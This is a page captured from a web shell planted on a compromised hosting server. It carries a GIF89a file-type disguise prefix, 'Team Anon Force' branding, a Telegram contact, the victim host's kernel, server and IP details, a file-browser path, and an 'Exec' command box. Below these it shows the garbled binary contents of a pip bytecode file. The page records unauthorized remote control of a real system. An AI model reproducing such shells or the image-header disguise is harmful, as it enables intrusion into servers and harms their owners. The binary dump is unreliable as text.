GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python312
/
lib
/
python3.12
/
site-packages
/
pip
/
_internal
/
utils
/
__pycache__
[ HOME ]
Exec
Submit
models.cpython-312.pyc
� G��e� � �8 � d Z ddlZddlmZmZmZ G d� d� Zy)zUtilities for defining models � N)�Any�Callable�Typec � � e Zd ZdZddgZdeded ddfd�Zdefd �Z d ede fd�Zd ede fd�Zd ede fd �Z d ede fd�Zd ede fd�Zd edeeege f de fd�Zy)�KeyBasedCompareMixinz7Provides comparison capabilities that is based on a key�_compare_key�_defining_class�key�defining_class�returnNc � � || _ || _ y �N)r r )�selfr r s ��/builddir/build/BUILDROOT/alt-python312-pip-23.3.1-1.el8.x86_64/opt/alt/python312/lib/python3.12/site-packages/pip/_internal/utils/models.py�__init__zKeyBasedCompareMixin.__init__ s � ����-��� c �, � t | j � S r )�hashr )r s r �__hash__zKeyBasedCompareMixin.__hash__ s � ��D�%�%�&�&r �otherc �B � | j |t j � S r )�_compare�operator�__lt__�r r s r r zKeyBasedCompareMixin.__lt__ � � ��}�}�U�H�O�O�4�4r c �B � | j |t j � S r )r r �__le__r s r r zKeyBasedCompareMixin.__le__ r r c �B � | j |t j � S r )r r �__gt__r s r r zKeyBasedCompareMixin.__gt__ r r c �B � | j |t j � S r )r r �__ge__r s r r"